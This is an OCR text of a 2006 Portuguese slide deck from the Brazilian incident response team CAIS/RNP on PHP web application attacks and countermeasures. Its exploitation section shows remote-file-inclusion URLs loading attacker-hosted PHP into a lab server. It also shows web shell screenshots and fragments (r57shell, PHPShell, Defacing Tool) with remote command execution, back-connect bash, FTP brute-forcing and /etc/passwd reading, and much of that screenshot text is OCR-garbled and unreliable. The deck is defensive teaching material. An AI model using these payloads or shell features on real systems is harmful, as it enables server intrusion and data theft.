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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

* Introducao
" Vulnerabilidades
* Injecao de variaveis (register globals)
 Execucao remota de comandos
* Execucao de codigo PHP remoto
* Exploracgao
* Injecao de comandos
* Injecao de cédigo PHP

= Contramedidas
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

Introducao

= PHP largamente utilizado na Internet (04/2006)
= 20.475.056 Dominios
= 1.278.828 Enderecos IP

= 7% rodando em servidores Windows
PHP Usage for Apr 2006

25000000

‘ — Domains — IPs

20000000 -
15000000 -
1000000 -

FOOOOO0 -

B

Rede Nacional de Ensino e Pesquisa Fonte: Netc raft 3

Promovendo o uso inovador de redes avangadas no Brasil




Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

= Diversas aplicacoes populares em PHP
- Blog: b2, wordpress
* Forum: phpbb
= Webmail: horde/imp
- Estatisticas: awstats
= Calendario: webcalendar
= Gerenciador de conteudo: mambo
- <insira aqui sua aplicacao PHP favorita>

- Aplicacoes desenvolvidas pela propria entidade
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

- Mais aplicacoes -> mais erros de programacao -> mais
vulnerabilidades

- PHP Register Globals
- XML-RPC for PHP PHP Code Execution Vulnerability
- phpBB Multiple Vulnerabilities

- WebCalendar "includedir"” Arbitrary File Inclusion

Vulnerability

- Mambo Multiple Vulnerabilities @ |
- Horde Help Viewer Unspecified Code Execution =
Vulnerability

- WordPress Cross-Site Scripting Vulnerabilities
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

= Register Globals
= “Recurso” do PHP

= Permite definir/alterar conteldo de varidveis arbitrarias em
paginas PHP caso esteja habilitado

= Diretiva register_globals no php.ini
= Potencial problema de seguranca
= Aplicacbes mal escritas

= Possibilidade de alterar o conteudo de variaveis da aplicacao,
burlar sistemas de autenticacao, etc.
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Vulnerabilidades
= XML-RPC - 29/06/2005

= Biblioteca do PHP que permite acessar procedimentos (fungoes)
remotas utilizando o protocolo XMLRPC

= Vunerabilidade em versoes inferiores a 1.1.1 permite execucao
remota de codigo.

= Presente em diversas aplicacdes em PHP

- WordPress, TikiWiki, PHP-Wiki, phpMyFAQ, PostNuke,
phpgroupware, etc.
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Anatomia de ataques PHP: Vulnerabilidades,
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= awstats.pl configdir - 18/01/2005

= Software de estatisticas de servidores WWW, FTP, streaming e
email

= Vulnerabiliade em versoes inferiores a 6.3 permite execugao
remota de comandos

= Checagem incorreta de parametros para a variavel configdir do
software permite insercao de um pipe “|” para executar comandos
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

Vulnerabilidades

= Horde helpviewer 03/04/2006
= Software bastante popular de Webmail (IMP)

= Vulnerabiliade nas versoes inferiores a 3.0.10 e 3.1.1 permitem
execugcao remota de comandos

= Checagem incorreta de parametros permite insercao de um

N, 7

ponto e virgula “;” para executar comandos
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Vulnerabilidades
= Mambo mosConfig_absolute_path - 21/02/2005

= Software de gerenciamento de conteudo WWW

= Vulnerabiliade nas versodes inferiores a 4.0.14 permite insercao
de codigo php arbitrario

= Checagem incorreta de parametros permite insercao de um script
externo em PHP que sera executado no contexto do servidor
WWWwW
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

Vulnerabilidades
= phpBB2 phpbb_root_path - 05/05/2005

= Software de forums WWW (Bulletin Board)

= Vulnerabiliade nas versodes inferiores a 2.0 RC3 permite insercao
de codigo php arbitrario

= Checagem incorreta de parametros permite insercao de um script
externo em PHP que sera executado no contexto do servidor
WWWwW

Rede Nacional de Ensino e Pesquisa
Promovendo o uso inovador de redes avangadas no Brasil




Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

- Diversas aplicacoes vulneraveis
* Vulnerabilidades faceis de explorar
- browser WWW
= Scripts
- Vulnerabilidades criticas
- Execucao remota de comandos
- Insercao de scripts PHP arbitrarios
- Mas... (mitos)
- Apache roda como usuario sem privilégios

- Para inserir scripts necessita conhecimento de PHP
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Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

= Executando binarios arbitrarios (malware) na maquina remota
= Autorooters/rootkits

= Bots

= Backdoors

= Worms (propagacao automatica via servidores PHP)

= Uso do google e outros sites de busca para encontrar sites
vulneraveis

- Executando “consoles” na maquina remota via inclusao
remota de codigo PHP

= Defacing Tool Pro v2.0 by r3v3ng4ns

= r57shell 1.24
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Exploracao
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Anatomia de ataques PHP: Vulnerabilidades,
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= Consoles PHP para controle do servidor
= Desenvolvidas por terceiros e compartilhadas entre hackers
= Funcionam mesmo com o safe_mode habilitado
* PHP safe_mode
* Recurso do PHP
= Restringe o0 uso de alguma fungoes

= Restringe a execucdo de binarios externos a um certo
diretdrio

= Nao permite leitura de arquivos com uid diferente do dono
do script

- Existem formas de burlar através de técnicas de
programacao
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File Edit Wiew Go Bookmarks Tools Help
| T e T R T T e R T e T o k- ==
<:ZI > B - @ T‘fh ‘,_; http:Hl?‘.Z.16.166.1SUJ’WEbcalendarﬁnnlsfsend_reminders.php?includedir=http:ﬂl?2.16.156.129!cr:| (2 Go |th

P Getting Started [ Latest Headlines

[include_path='\.J:fusrfsharefphp:fusrfsharefpear'] in http://172.16.166.129/cmd.gif?/user.php on line 13

]

[ Defacing Tool Prov ] ?
by r3v3ngdns - revengans@gmail.com

sysname: Linnux

nodename: rssf

release: 2.4 27-2-386

version: #1 Mon May 16 16:47.51 JST 2005

machine: i686 %

user: wid( 33) enid(33) qid(33)

write permission: no

sexrver info:

pro info: ip 172.16.166.130, wget at just/biryw get. Iymx at fusr/binglyme:,
goc at fusrjhinfgee, oo at fusr/binjee safe mede: NO, PHP 4 .3.10-16
current path: frariw ww jwebcalendarftools

using shell exec()

send cmid

P‘HP‘writ_er |
fileditor list files an

stdOut from "id", using shell exec()
-data) gid=33 ata) groups=33i data)

1 Ll 1 f1 1 1 1 1 % ™ '9 1T 1 1 T T T

T8 T TIFIFIT™ A A

A oA BT
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<l--

Defacing Tool 2.0 by r3v3ng4ns

revengans@gmail.com

se for modificar o codigo, por favor, mantenha o nome de seus autores
originais e por favor, entre em contato comigo...

ae galera, serio, tem mta gente fdp q simplismente usa, nao seja soh
um sucker do script, n seja um lammer imbecil, n seja 0 merda dum
script kiddie, n seja um babaca, ajude a melhora-lo tambem!!

-->

<?php

/IThe Rules
include("http://ess.trix.net/therules.dat");

Rede Nacional de Ensino e Pesquisa
Promovendo o uso inovador de redes avancadas no Brasil




File Edit ¥iew Go Bookmarks Tools Help

Q‘E = Lll;" i [@ |_| @ ||_| http:Hl?E.16.155.13waebcalendarftnnlsfsend_reminders.php?includedir=http:ﬁl?2.16.156.129;’:5:l (@ Go ||E|'

P Getting Started [} Latest Headlines

#/usr/local/bin/php -q

sysname: Linux

nodename: rssf

release: 2.4.27-2-386

version: #1 Mon May 16 16:47:51 J5T 2005
machine: 1686

Script Current User:

PHP Version: 4.3.10-18

User Info: uid(33) euid(33) gid(33)
Current Path: /varfwww/webcalendar/tools
Server [P:

Web Server:

[*] Command Mode Bun

check translation.pl
convert passwords.php
palm datebook.pl

send reminders.php
summary.txt
translation summary.pl
update all.pl
update_translation.pl
upgrade to 0.9.7.pl

| »

| »
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<?php

I/l Ae galera se forem Ripar coloca pelo menos um escrito sobre o Data
Cha0s
closelog( );

$dono = get_current_user( );

$ver = phpversion( );

$login = posix_getuid( );

$euid = posix_geteuid( );

$gid = posix_getgid( );

if ($chdir =="") $chdir = getcwd( );

7>
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File Edit ¥iew Go Bookmarks Tools Help
; - Fa
Tl v [ icd | | http:ff172.16.166.130/webcalendarftoolsfsend reminders. php?includedir=http%34%2F%2F172.16.0 ¥ Go G-|
: A A Ty

P Getting Started | Latest Headlines

| PHPShell by Macker - Version 2.6.6dev - August 28th 2003

HAXPLORER - Server Files Browser...

Browsing: /var/www/webcalendar/tools GO
Filename Actions (Attempt to perform) Size Attributes | Modification Date
kel DRX Thu 23-03-2006 17:00:36
[..] DRX Thu 23-03-2006 17:00:36
check translation.pl [Rename] [Copyl [Delete] [Dowmload] [Execute] 3.403KBE | RX Tue 30-11-2004 14:07:32
convert passwords.php [Rename] [Copy] [Delete] [Download] 2541 KB | R Tue 06-04-2004 19:57:35
palm datebook.pl [Rename] [Copyl [Delete] [Download] [Execute] | 13.833 KB | RX Fri 22-10-2004 17:27:45
send reminders.php [Rename] [Copyl [Delete] [Dowmload] [Execute] | 16.849 KB | RX Sat 12-02-2005 11:04:24
summary. txt [Rename] [Copy] [Delete] [Download] 1.307KBE | R Wed 09-02-2005 12:21:12
translation summary.pl [Rename] [Copyl [Delete] [Dowmload] [Execute] 996 B | RX Thu 02-12-2004 22:27:41
update all.pl [Rename] [Copyl [Delete] [Dowmload] [Execute] 500B | RX Sat 20-03-2004 02:59:12
update translation.pl [Rename] [Copyl [Delete] [Dowmload] [Execute] 8.363 KB | RX Tue 03-08-2004 13:14:39
upgrade to 0.9.7.pl [Rename] [Copyl [Delete] [Dowmload] [Execute] 5.772 KB | RX Tue 13-08-2002 13:07:56
2 Dir(s), 9 File(s) Total filesize: 53.532 KB
| Server's PHP Version: | 4.3.10-16
| Other actions: | | New File | | New Directory| | Upload a File |
| Script Location: |
| Your IP: | |«\3
| Browsing Directory: | frarfwwnwiwebcalendar/tools
Legend: D: Directory.
R: Readable.
W: Writeable.
X: Executable.
U: HTTP Uploaded File.

I Main Menu 1 I PHPEKonsole |

I Haxnlorer |
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<:EI - I_: B v l% | X {/;j ‘._i http:ﬂl?z.16.165.13UfwE:bcaIendarftnulsfsend_reminders.php?includedir=http%3A%2F%2F1?2.15.I_‘VJ [ Go |@

P Getting Started [] Latest Headlines

| | /webcalendar/tools/send_remind... | | | WebCalendar | @

PHPShell by Macker - Version 2.6.6dev - August 28th 2003 |

PHPKoOnsole

Choose new working directory:

Current working directory: Rootfvar/www/webcalendar/tools/

| Current Directory j
Command: || Execute Command
Enable stderr-trapping?
phpkonsole= cat summary, txt (4]
Language file Mo, missing translations
Basque . txt: 245 (B2.4% complete)
Bulgarian. tut: 89 (B4.8% complete)
Catalan.txt: 61 (90.6% complete)
Chinese-Big5. txt: 407 (37.68% complete)
Chinese-GB2312.txt: 179 (72.5% complete)
Czech.txt: Complete
Danish. txt: 101 (B4.5% complete)
Dutch. txt: 23 (86.5% complete] =i
English-US. tut: Complete N
Estonian. tut: 192 (70.8% complete)
Finnish.txt: 193 (70.4% complete)
French. txt: 72 (89.0% complete)
Galician.txt: 384 (41.1% complete)
German. txt: Complete
Holo-Bigs. tut: 334 (48.8% complete)
Hungarian. tut: 23 (96.5% complete)
Tcelandic. tut: 442 (32.2% conmplete) hd

[ Main Menu]l [ PHPKonsole] [ Haxplorer ]
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<?php
I*
kkkkkkkkkkkkkkhkkkkkkkikkkkkkkhkkkkkkkkkkkkkkkkkkhkhkkkhkkkhkkkkkkkkkkkkkkkkhkkkkikkkkkkk

* PHPSHELL.PHP BY MACKER August 28th 2003 *

kkkkkkkkkkkkkkkkkhkhkkkkkkhhhkkkkkhhkhkkkkkhhkkkkkkhkkhkkkkkhhkhkkkkkhkkhkkkkkkkkkkkkkkkk

*

Welcome to Macker's PHPShell script... *
This script will allow you to browse webservers etc... *
Just copy the file to your directory and open it in your Internet Browser. *

*

The webserver should support PHP... *
You can modify the script if you want, but please send me a copy to: *
DRAZZ01@HOTMAIL.COM *

kkkkkkkkhkkkkkkkkhhkkkkkkhhhkkkkkkhkkkkkkkhkkkkkkkkhhkkkkkhhkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

L I T R B B

I PLEASE NOTE: You should use this script at own risk, it should do damage to the !!

" Sites or even the server... You are responsible for your own deeds. !!

" The admin of your webserver should always know you are using this !!
" script. "
npnmnnnnnnnmnnnnnnn i nmnm

*/

http://phpshell.mackatack.com/
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@ -5 - @ (% ﬁ’;\[ ‘,_g http:ﬂl]"E.15.155.1SUIwebcalendarftnulsfsend_reminders.php?includedir=http%3A%2F‘%2Fl?2.IE.I:J @ oo (Gl

# Getting Started ".-',iLatest Headlines

09-05-2006 16:31:23 [ phpinfo ] [ php.ini] [ cpu] [ mem ] [ users] [ tmp] [ delete ]

safe_mode; OFF PHF wersion: 4.3.10-16 cURL: OFF MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
¢ 1r57shell 1.24 Disable functions : NONE

HDD Free : 439,16 MB HDD Total : 3.74 GB

uname -a: Linux rssf 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 1686 GNU/Linux
sysctl:| -
$0STYPE: linux-gnu
Server:| Apache/1.2.33 (Debian GNU/Linux) PHF/4.3.10-16
id ;| uwid=33(www-data) gid=33(www-ilata) groups=33(www-idata)
pwd ;| jvarwwwiwebcalendaritools ( drwxr-xrx) %‘

Executed cum.ma.nd:- 1s -lia

total 84
244725 drwxr-xr-x 2 root root 4096 Mar 23 17:00 .
244610 drwxr-xr-x 8 root root 4006 Mar 23 17:00

244726 -rwirwxr-x 1 501 S01 3485 Mov 30 2004 check translation.pl
244727 -rw-rw-r-- 1 501 501 2602 Apr 6 2004 convert passwords.php
244728 -rwxrwxr-x 1 501 501 14166 Oct 22 2004 palm_datebook.pl
244729 -rwxrwir-x 1 501 501 17254 Feb 12 2005 send_reminders.php
244730 -rw-rw-r-- 1 501 501 1339 Feb 9 2005 summary.txt
244731 -rwarwxr-x 1 S0l 501 996 Dec 2 2004 translation summary.pl
244732 -rwirwkr-x 1 501 501 500 Mar 20 2004 update all.pl
244733 -rwxrwxr-x 1 501 501 8564 Aug 3 2004 update translation.pl
244734 -rwxrwir-x 1 501 501 5811 Aug 13 2002 upgrade_to 0.5.7.pl
:: Execute command on server EE o
im0 e il
Work directory © s oiwunw e bos lenda oo s Executs
iz Edit files EE -+
File: for edit :f\ra.r.fﬁ'wwj'\.;'ebmlen:iu.r.f.muls | E.ditf.ihe

i1 Aliases ﬁﬁ &

Solectalias & | find suid files | Execubs
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@&

T ——
'f*';\[ ‘,_; http:ﬂl?‘.?.16.165.13UfwebcaIendarftunlsfsend_reminders.php?includedir=http%3A%2P%2F1?2.15.2:] @ Go ||gL

# Getting Started [ Latest Headlines

Saolect alias

Findl bext

In dirs

Oy in e

Tt for Hinad
Flnal In tolder

Final in Hles

I find suid Eiles

b2xk

Jora efwrwrunjure b | nela cfton s

| .kt php

EI.E
I;ra rIwwM bz le nda r.r.h als
*[hel

/¥ delete script */
Jiunlink (" rs7shell.php");
J/readfile(" fetc/passwd" );

;1 Aliases ﬁﬁ i

=]
& &
:: Find text in files E E 5

Execubs

Fim.:l

® ooty |
® | txt:php:htm |

& &
:: Search text in files via find E E i

Find
* { frootyhomefmp |

¥ 00 CAN USE MdeEp

L] L]
:: Eval PHP code EE i

Execulbe

L L
:: Upload files on server E E i

Local file I

With i | wget | Remote e dhtbp:if

Lol fle e cfwwrwfwe beale ndac/oo [s

I;ra rIwwM bz le nda r.r.h als

SR r without archivation r- 2 fﬁ farah] r e

=

Brow se... I

i.lplu ad

wan | [es
:: Upload files from remote server E E &

Upload

& @
:: Download files from server E E E

Do wn load
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l S B T e e e e e P ey | ==
<::| T @ F’h |:_; http:ﬂl??.16.165.1SUfwebcalendarftunlsfsend_reminders.php?includedir=http%3A%EP%2Fl?2.16.Ij ([ Go ||_L

P Getting Started [} Latest Headlines

Local 118 & |fyva riwwrwiwe beale ndacjwo |s

fle fva r,r\;rww.fwt bealendac/wols

g
SRR | without archivation r =p r frs] r‘- zip

Download files from remote fip-server

FTP.server:port « |127.0.0.1.21
Login ¢ ano nymao us
Password o |billyE micmoso koo m
Fileon ftp o lkp-dicilile
Local tile o fva r,fwww,l‘l‘we a2 bl rfwols
Transfer mda Im

Download

FIP-sarver:port © [127.0.0.1.21

| a5
:: Download files from server |E|E i

i FI'P|E|E i

1: FTP-bruteforce EE tH I

*use username from jetefpasswd for ftp login and password | Users list |

r Usi neverse {usor o nesa | bogm for passward

Send email

Ta . Hun.ﬂer@muil.mm

From i il ly@m icroso koo m
Sub o hella hilly

mail text here
Mall

Send

i Mail ﬁﬁ H

Upload 'ﬂ

Download

Send file to remote fip server

FIP.server:port o [127.0.0.1.21

Login s anonymo us
Password o billyE microso f.com
Lacal Hls IvﬂerwwIweEml:nduthu Is

Fila on ftp o flipdicilile

Transder nunds | FTP_BIMARY |

Upload

Execubs

Send file to email I"‘\?
To . |hache r@mail.com
From o hilly@E m ico so koo m
Subij
Local file & [fva chwrwufuns bea le ndacfioa |s
[t ettt gt ol

Send

file from 5Tshell

Archivation
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(:] - :_: v l%] | ‘|'~::';\[ ‘;_; http:f/172.16.166.130/webcalendarftools/send reminders. phpfincludedir=http% 34%2F%2F172.16.. :] (@ Go “Clr
P Getting Started [} Latest Headlines
L] U reverse (Usar -5 resu | o Tor pes s wand i’:]
1z Mail EE i
Send email Send file to email
Ta o hacks i@ mail.com To o |hacke i@ mail.cam
Fromi . billy@m icroso e m Fram o hilly@m icroso feom
subj o (hello billy subi] o [file from c57zhell
mail text here Local tile | fva cfuwwfwe bealendac/io |s
- Mtttk {1y itk Topt gk L
Send
Sand
:: Databases ﬁﬁ =
Show database structure Dump database tahle Fun SOQL query
N N .
Port | 2308 Port . 2308 Port © 3308
Login ot Login o ook Login ok
Password | [passwo od [E Password | [passwo od Passward + |passwo od
showtables i [ Databass | mysg| Databass |mysgl
o m Tabla i [user - St el
_ Seis gl aIne | {SHOW DATABASES;
Show SELECT * FROM user;
fad dum p.sq
| Dump Execute
i Net ﬁﬁ = I|
Bind poxt to /hin/bash back-connect datapipe
Part . 11457 P4 172.18.188.1 Local port - 11457
Passward for acoms 157 Port (11457 Remsote host + e, dalnet. ou
Lt Iﬁ L] Iﬁ Reente port « 8667
| Bind | connect ven ' [datapipe.pl |
Run
B e S T e e e e e e Il
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I* r57shell.php - 1é0€i0 ia i0i iicaiéypuéé aai adiieéiyol gaée éiiaiad ia hadaao
+adac adaocad

I* Al iiedoa néa+aoii ifadp aadnep ia iagai naéoa: http://rst.void.ru

[* Aadnéy: 1.24 (New Year Edition)

/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I* (c)oded by 1dt.wO0If
I* RST/GHC http:/Irst.void.ru , http://ghc.ru
[* ANY MODIFIED REPUBLISHING IS RESTRICTED

l*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[* ioaaéliiay aéaaiaasiinol ¢a imiuil & @aae: blf, virus, NorD é aRai +4d0yi é¢
RST/GHC.

l*************************************************************************************************

kx|
[* ~~~ [afi0diééé | Options ~~~*/

/I AGaid ychéa | Language

7~ A~ AN

N FeAsEE N ¥ A~ AN

http://rst.void.ru/download/r57shell.txt
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@ - [:/5 5 % (X @ |i_| http://172.16.166.130/webcalendar/login. php?

P Getting Started [} Latest Headlines

|| r57shell | | WebCalendar

WebCalendar

Username: l

Password: |

I_ Save login via cookies so | don't have to login next time

Login |

Note: This application requires cookies to be enabled.

WebC alendar v1.ORC32 (11 Mar 2005)
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* Defacing Tool
-rw-r--r-- 1 ivocarv ivocarv 14878 Mar 23 16:03 cmd.gif

* Data Cha0s PHP Command/Safemode Exploit
-rw-r--r-- 1 ivocarv ivocarv 26671 Mar 26 19:30 cse.txt

* r57shell
-rw-r--r-- 1 ivocarv ivocarv 108128 Mar 23 16:25 r57shell.txt

* PHPSHELL
-rw-r--r-- 1 ivocarv ivocarv 37241 May 9 16:19 tool.txt

Rede Nacional de Ensino e Pesquisa 29 @ RNP
Promovendo o uso inovador de redes avancadas no Brasil



Anatomia de ataques PHP: Vulnerabilidades,
exploracao e contramedidas

® Manter o PHP atualizado
® Habilitar o safe_mode no php.ini

® safe_mode_exec_dir

B  Ter controle sobre as aplicacoes instaladas em cada
servidor WWW

B Manter as aplicacoes PHP atualizadas

] Usar IDS snort e regras bleedingsnort para verificar
tentativas de acesso indevidas

] Verificar logs dos servidores WWW

®  Utilizar chroot e usuarios sem privilégios para reduzir os
direitos do servidor WWW
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®  Utilizar um usuario diferente para rodar o servidor WWW e
atualizar as paginas

] Desabilitar o register_globals caso esteja habilitado
B Montar o /tmp com a opcao —noexec

N Monitorar o trafego que sai do seu servidor WWW (base
para ataques)

® Remover todo software que nao esta sendo usado (wget,
perl, curl, ftp, gcc, etc)
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Contramedidas
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= Utilizacao de honeypots para deteccao de malware e scripts
armazenados em servidores publicos

- Analise da URL
- Download da console ou malware
- Verificacao da origem

- Monitoramento de atividade suspeita utilizando sensores em
redes diversas

- Notificacao dos responsaveis sobre atividade maliciosa

- Retirada dos scripts e malware hospedados através de contato
direto com responsaveis

= Armazenamento de amostras de malware

- Endereco artefatos@cais.rnp.br
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* Vulnerabilidades em servidores WWW+PHP sendo largamente
exploradas

- Extrema facilidade de exploracao das vulnerabilidades
= Ataques resultam em diversas possibilidades
= Instalacao de bots e outros tipos de malware
* Manipulacao do sistema de arquivos
« Defacements
= Obtencgao de informacodes sigilosas
= Senhas
* Bases de dados

- Existem contramedidas para tais ataques
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Centro de Atendimento a Incidentes de Seguranca — CAIS

cais@cais.rnp.br - http://www.rnp.br/cais

Ivo de Carvalho Peixinho — ivocarv@cais.rnp.br
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Incidentes de seguranca envolvendo redes conectadas ao backbone da
RNP podem ser encaminhadas ao CAIS através de:

4. E-mail: cais@cais.rnp.br.

Para envio de informacoes criptografadas, recomenda-se o uso da I 5
chave PGP publica do CAIS, disponivel em: http://www.rnp.br/cais/cais-pgp.key

7. Web: Através do Formulario para Notificacdao de Incidentes de Segurancga,

disponivel em: http://www.rnp.br/cais/atendimento_form.html

Contatos emergenciais fora do horario comercial (09:00 - 18:00) ﬁﬁ %ﬁﬁ
devem ser feitos através do telefone: (61) 226-9465.

O CAIS mantém a lista rnp-alerta@cais.rnp.br. Assinatura aberta a comunidade
atuante na area. Inscrigdes através do formulario disponivel em:

http://www.rnp.br/cais/alertas
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